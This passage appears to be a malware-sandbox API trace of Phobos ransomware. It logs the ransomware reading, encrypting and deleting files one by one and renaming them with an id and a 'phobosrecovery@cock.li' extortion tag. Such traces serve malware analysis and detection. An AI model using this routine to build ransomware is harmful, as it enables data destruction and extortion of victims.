lpNumberOfBytesWritten=0x2bdf8a0*=0x380, lpOverlapped=0x0) returned 1 [0048.070] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d070) returned 1 [0048.070] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.070] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.070] CryptDestroyKey (hKey=0x10d070) returned 1 [0048.070] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.070] CryptDestroyKey (hKey=0x10caf0) returned 1 [0048.070] CloseHandle (hObject=0x324) returned 1 [0048.070] CloseHandle (hObject=0x308) returned 1 [0048.071] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0048.072] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.072] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.072] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=894) returned 1 [0048.072] CloseHandle (hObject=0x308) returned 1 [0048.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0048.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.073] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.073] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.073] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.073] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.073] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cff0) returned 1 [0048.073] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.073] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x37e, lpOverlapped=0x0) returned 1 [0048.089] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380, dwBufLen=0x380 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380) returned 1 [0048.089] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x380, lpOverlapped=0x0) returned 1 [0048.090] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cf70) returned 1 [0048.090] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.091] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.091] CryptDestroyKey (hKey=0x10cf70) returned 1 [0048.091] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.091] CryptDestroyKey (hKey=0x10cff0) returned 1 [0048.091] CloseHandle (hObject=0x308) returned 1 [0048.091] CloseHandle (hObject=0x324) returned 1 [0048.091] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0048.092] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.093] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.093] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=894) returned 1 [0048.093] CloseHandle (hObject=0x324) returned 1 [0048.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0048.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.093] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0048.093] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.093] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.093] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.094] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccf0) returned 1 [0048.094] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.094] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x37e, lpOverlapped=0x0) returned 1 [0048.318] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380, dwBufLen=0x380 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x380) returned 1 [0048.318] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x380, lpOverlapped=0x0) returned 1 [0048.319] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cab0) returned 1 [0048.319] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.319] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.319] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.319] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.319] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0048.319] CloseHandle (hObject=0x324) returned 1 [0048.319] CloseHandle (hObject=0x308) returned 1 [0048.320] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0048.321] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.321] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.321] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1150) returned 1 [0048.321] CloseHandle (hObject=0x308) returned 1 [0048.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0048.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.321] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.321] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.321] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.321] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.327] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cab0) returned 1 [0048.327] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.327] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x47e, lpOverlapped=0x0) returned 1 [0048.334] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x480, dwBufLen=0x480 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x480) returned 1 [0048.334] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x480, lpOverlapped=0x0) returned 1 [0048.335] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cdf0) returned 1 [0048.335] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.335] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.335] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0048.335] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.335] CryptDestroyKey (hKey=0x10cab0) returned 1 [0048.335] CloseHandle (hObject=0x308) returned 1 [0048.335] CloseHandle (hObject=0x320) returned 1 [0048.336] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0048.337] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.337] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.337] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=10134) returned 1 [0048.337] CloseHandle (hObject=0x320) returned 1 [0048.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0048.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.337] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.337] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.337] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.338] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.338] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ceb0) returned 1 [0048.338] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.338] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x2796, lpOverlapped=0x0) returned 1 [0048.345] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x27a0, dwBufLen=0x27a0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x27a0) returned 1 [0048.345] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x27a0, lpOverlapped=0x0) returned 1 [0048.400] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ccb0) returned 1 [0048.400] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.400] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40, dwBufLen=0x40 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x40) returned 1 [0048.400] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0048.400] WriteFile (in: hFile=0x308, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf2, lpOverlapped=0x0) returned 1 [0048.400] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0048.400] CloseHandle (hObject=0x320) returned 1 [0048.400] CloseHandle (hObject=0x308) returned 1 [0048.401] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0048.401] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.402] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.402] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1150) returned 1 [0048.402] CloseHandle (hObject=0x308) returned 1 [0048.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0048.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0048.402] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.402] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.402] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0048.402] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.403] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d0f0) returned 1 [0048.403] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.403] ReadFile (in: hFile=0x308, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x47e, lpOverlapped=0x0) returned 1 [0048.421] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x480, dwBufLen=0x480 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x480) returned 1 [0048.421] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x480, lpOverlapped=0x0) returned 1 [0048.422] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cfb0) returned 1 [0048.422] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0048.422] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50, dwBufLen=0x50 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x50) returned 1 [0048.422] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0048.422] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x102, lpOverlapped=0x0) returned 1 [0048.422] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0048.422] CloseHandle (hObject=0x308) returned 1 [0048.422] CloseHandle (hObject=0x320) returned 1 [0048.423] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0048.424] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0048.424] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.424] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1901056) returned 1 [0048.424] CloseHandle (hObject=0x320) returned 1 [0048.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0048.424] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0048.425] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0048.425] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0048.425] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0048.425] ReadFile (in: hFile=0x320, lpBuffer=0x2f80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2f80058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0048.428] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 [0048.428] ReadFile (in: hFile=0x320, lpBuffer=0x2fc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdf85c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0058*, lpNumberOfBytesRead=0x2bdf85c*=0x40000, lpOverlapped=0x0) returned 1 [0048.431] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf850 | out: lpNewFilePointer=0x0) returned 1 